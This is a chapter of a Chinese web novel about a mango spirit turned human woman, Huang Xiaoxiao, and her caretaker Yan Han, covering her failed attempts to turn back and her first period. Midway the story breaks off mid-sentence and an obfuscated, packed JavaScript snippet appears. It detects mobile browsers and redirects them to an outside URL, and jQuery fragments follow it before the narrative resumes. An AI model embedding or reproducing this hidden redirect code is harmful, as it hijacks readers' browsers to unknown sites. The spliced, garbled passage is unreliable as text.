35. 第 35 章

作品:《开门,芒果来了

    套上也没用,没用也套。


    黄笑笑执着地“穿着衣”,果皮穿烂了,她也没变回去。


    她动作粗鲁起来,牵扯着巨大的果皮变了形状,眼巴巴地急着就要掉泪。


    严漌看她就像忽然疯了似的,一人一皮扭打在一起。


    他在一旁转圈观察着黄笑笑,不敢贸然出手。


    半晌,黄笑笑安静下来,跪坐在地上。她心如死灰,不见往日神采,依旧裹着那果皮。


    果皮被晾得半干,湿哒哒黏糊糊地贴在黄笑笑身上。


    严漌见她冷静下来,于是把她牵抱到了床上。


    他坐在地上,平铺整理着果皮。


    严漌看着果皮,开口道:“笑笑,你别急。”


    黄笑笑只是看他一眼,并未接话。


    严漌把果皮整理好后,复又晾回了原地。


    他盘腿坐着,以一个下位者的视角,看着黄笑笑。


    外表有些陌生,可性格却没变,还是那个黄笑笑。


    “笑笑,慢慢来,好吗?”


    黄笑笑眼含泪水,看着严漌。她嘴巴微微撅着,嘴角下垂,严漌对这表情很是熟悉。


    严漌叹下一口气,顾不得男女之防,坐上床去。


    他又顾着男女之防,于是离黄笑笑有些距离,他遥遥地伸出手为她擦拭泪水,拍了拍头,和黄笑笑讲起大道理来。


    可黄笑笑哪里听得进去,她是不爱听的一句也不想听。


    她掀开被子,麻溜地滚了进去,完全盖住自己,只留给严漌一个鼓鼓囊囊的被窝影子。


    严漌这会儿没再像之前一样把她抱起来,而是就坐在她身后,看着黄笑笑。


    安静之下,严漌复又想了很多。


    在黄笑笑再次出现之前,他就只有一个想法,那就是找到黄笑笑。可见到黄笑笑之后,事情发生了很大的变化,一切都不如他所料。


    再次见到黄笑笑,严漌自然是开心大于其它的,可待兴奋过去,留下的便是迷茫和未知。


    他和黄笑笑要如何度过接下来的日子呢?


    黄笑笑现在是个成年女性,尽管她的心智并不成熟,虽然黄笑笑并不认可这一观点,但严漌就是这么想的。


    他此刻太有责任感,于是觉得自己要把黄笑笑的事情包揽下来,直到她真正成熟时,严漌才会放手。


    黄笑笑和严漌彼此之间的定位天差地别。


    黄笑笑认为严漌是她的种植员,不过只是更像仆人。


    严漌认为他是黄笑笑的监护人,虽然不是法定的。


    他想了又想,还是觉得以黄笑笑现在的情况,还是带她回到真正的人类世界更好。


    规则说到底,也不如切身体会。


    黄笑笑既然变成了人,就需要学习人类的方式行为。


    严漌也知道这或许是他的一厢情愿,黄笑笑大概率并不接受。


    可是没办法,黄笑笑美丽愚蠢。这样的人出现在末日世界里,一旦落入他人手中,无异于羔羊主动向恶狼低下自己的头颅。


    严漌不能看着黄笑笑自找死路。


    可黄笑笑呢?


    还沉溺于自己的悲伤之中无法自拔。


    怎么可能?她怎么可能变不回去?


    黄笑笑抱着芒果皮死尸般躺了几日,结果芒果皮在她的怀里以飞快的速度腐烂消无。


    她这才猛然清醒过来,当着严漌的面飞速跳楼,把自己栽在了土里。


    严漌先是冲到阳台,而后理智回笼,走楼梯下去的。


    黄笑笑体质异于常人,自是没死,不过半瘸了条腿,却也很快就好了。


    黄笑笑把自己在土里埋了几日,可她的躯体毫无变化,严漌劝不动她这个倔种,力气也不比她,只能随着她去。


    严漌只能是日夜盯着,为她撑伞,供些吃食给她。


    惊人的是,黄笑笑毫无变化,可周边的植物却飞速生长。


    黄笑笑气急攻心,于是把那些长势喜人的植物全灭了,而后自己也晕在了地中。


    严漌才得把她拖了回来。


    将养了三五日,黄笑笑又开始作妖,她说上回是下半身埋的,这回得头朝下!


    姑奶奶,头朝下那就是天王老娘来了也救不了你了。


    最后还是埋了,不过严漌劝诫着,于是留了几个孔洞,方便黄笑笑透气。


    这回是全埋。


    天大雪,黄笑笑在地里冻得牙齿打结。直到晕了过去,严漌才乘机把她带了回去。


    黄笑笑实在死倔,如果不是撑不住,只怕不会让严漌带她回去。


    经此一遭,黄笑笑彻底失了念想,像具空壳似的躺在床上。


    这些日子,可苦了严漌,既要当心照看着黄笑笑,还要去为二人觅食。


    比起之前,他黑壮了不少,虽然有些消瘦,不过结实了很多。


    黄笑笑一躺下,严漌的机会就来了。


    他睡在床尾,和黄笑笑念着他能想到的一切东西。


    总结概括下来便是两条,没有好人和男人特别坏。


    黄笑笑回过神来便挑刺问他,她眼里带着轻蔑,还挑着眉:“那你是好人吗?”


    严漌不是没料到她会这么问,只是没想到她是这个问法。


    于是他认真看着黄笑笑,诚恳地回复道:“可能不是,但我对你说的和对你做的,都是我认为的好事。”


    严漌又收回视线,看着自己的手掌,说道:“不过,可能也只是现在。而且,我认为的只是我认为的,最关键的,还是要看你自己的感受。”


    他轻轻地补充道:“况且,感受是会骗人的。”


    黄笑笑翻了个身,不再理会他。


    严漌也习惯了,她近来都是这样爱答不理的,可只要不再跳楼,不再把自己种土里,他便觉得也很能接受了。


    严漌揽了揽身上的被子,闭上了眼睛,床上的黄笑笑也陷入了沉睡。


    自从黄笑笑变成大人开始,严漌就一直睡在地上了。


    黄笑笑虽然不知道是因为什么,不过她还在生严漌的气,倘若严漌上来也只会被她踹下去。


    所以二人这几日相处也算和谐。


    严漌即便内心再惆怅不安,也只能坦然接受现状,屈服于黄笑笑之下,彻底过上了走一日看一日的生活。


    唤醒严漌的,是一声尖叫。


    黄笑笑坐在床上,一手的鲜血,她捂着自己的肚子,面色痛苦。


    外面天不过将将亮,白雾一样的浓光漏了些许进来。


    屋内还昏暗着,艳色在她的小手中醒目极了。


    严漌半梦半醒之间,左脚绊右脚,摔到了黄笑笑身边。


    他脸色迷茫,神情紧张,音色沙哑发暗。


    “怎么了怎么了?出什么事了?”


    严漌紧紧盯着黄笑笑,黄笑笑则牢牢盯着自己的手。


    “我要死了。”


    她的声音平静,尾音带着一丝颤抖。


    黄笑笑歪头抬眸看着严漌,她的神色与往日截然不同。


    那眼神冷极了。


    黄笑笑想的是,她死前要让严漌陪葬。


    都怪严漌,如果不是他,她怎么会走到这一步,她怎么会死?


    严漌并未看见,他方顺着黄笑笑的视线看向了她的手。


    那一抹红,浓烈得刺眼。


    严漌慌张极了,他抓起黄笑笑的手,小心翼翼地为她擦拭着掌心。


    可黄笑笑的手上并没有伤口,血迹被擦干净后,她光洁白皙的小手与昔日无异。


    严漌担忧地看向黄笑笑,他有些疑心这血是她吐出来的。可她的脸上干干净净,唯独


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204988|177184||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一双眼像是恨极了他。


    严漌心下一颤,背后生出渗骨的寒。


    黄笑笑恨他?


    他敛下猜测的心思,面上不显分毫,只是问道:“这血,是从哪来的?笑笑,你受伤了吗?”


    严漌的语气充满关怀,轻声细语,只好似没看见黄笑笑那般神色。


    黄笑笑一把掀开了被子。


    细白的两腿之间,鲜血染红了床被与裤腿。


    严漌瞪大了双眼,嘴巴也控制不住地张开着。


    黄笑笑来月经了。


    是啊,他怎么忘记了这茬?


    黄笑笑捂着肚子,面色痛苦,眼神充满不甘。


    严漌先是道歉,虽然这件事他似乎没什么错,可他已经习惯了先道歉。


    “这是月经,每个......成年女性,都会来的。每个月都会有,可能会有些痛,你的身体还会有些不舒服。不过,这是正常的。笑笑,你不用害怕。”


    严漌的语气轻缓,表情认真,专注地看着黄笑笑一字一句地说道。


    可他对于月经这件事情,了解甚少。


    严漌的母亲没有教过他这件事,他也没有谈过女朋友。


    高中时,他坐在班级的最后位置,那里全是男生,时不时还臭臭的。


    课间休息时,他见过有女生遮掩着,互借着卫生巾。


    有些男生,会调笑着讨论这件事。


    他无心参与这种无趣的玩笑,生物老师在课上说过,那是人类女性正常的生理现象。


    虽然他觉得并不合理,为什么女人不生孩子就要来月经?


    为什么男人不用来?


    上了大学之后,他听说,女性怀孕生子之后坐月子,是要足足来一个月的月经,把之前怀胎十月没来的全补上,只觉得更加难言荒诞。


    可他现在要承担起为黄笑笑科普的义务。


    “一次的话,大约是五天到一周?”


    严漌的语气充满不确定,他自己也犹疑起来。


    黄笑笑半信半疑,眼神却实打实地柔和下来,身子也跟着软瘫了下来。


    她问道:“你说得都是真的?”


    严漌点了点头:“真的。”


    “所有的女人都要来吗?”


    “差不多吧,不过也有部分特殊情况。”


    “你不用来吗?”


    严漌抿了抿嘴,说道:“不用。”


    黄笑笑皱着眉:“男人都不用吗?”


    “嗯。”


    “凭什么?”


    ......


    严漌摸了摸脸,回答道:“我也不知道为什么。”


    他关心地说道:“我去给你拿套衣服,你换上会舒服些。”


    黄笑笑不高兴地问道:“那我这下面就要一直流血吗?黏糊糊的,一点也不舒服。”


    严漌说道:“我先多找些干净衣服给你换,卫生巾...我这里确实没有,先用干净布条、棉花之类的垫着凑合一下,晚点我再看看怎么办。”


    黄笑笑撇了撇嘴,收回眼神,敷衍道:“行吧。”


    严漌又是找衣服,又是换床单,又是洗衣服被子,一上午就这么折腾过去了。


    好在黄笑笑忍痛能力强,只是昏睡着倒也撑了过去。她睡到傍晚时,便不怎么疼了,只是血又流淌渗透了出来。大抵是因为身体好,血也流得比旁人多些。


    只是苦了严漌了,必须连夜洗刷,否则明天没有被套换。


    黄笑笑也觉得严漌有些辛苦了,于是在身下多垫了一层毛巾。


    说起来,严漌一直想和黄笑笑认真详细地聊聊,却一直没有机会。


    也许眼下,黄笑笑会愿意和他谈谈。


    黄笑笑身上的谜团太多,来源不明,可严漌不关心那些,他只想照顾好她,养好那颗芒果。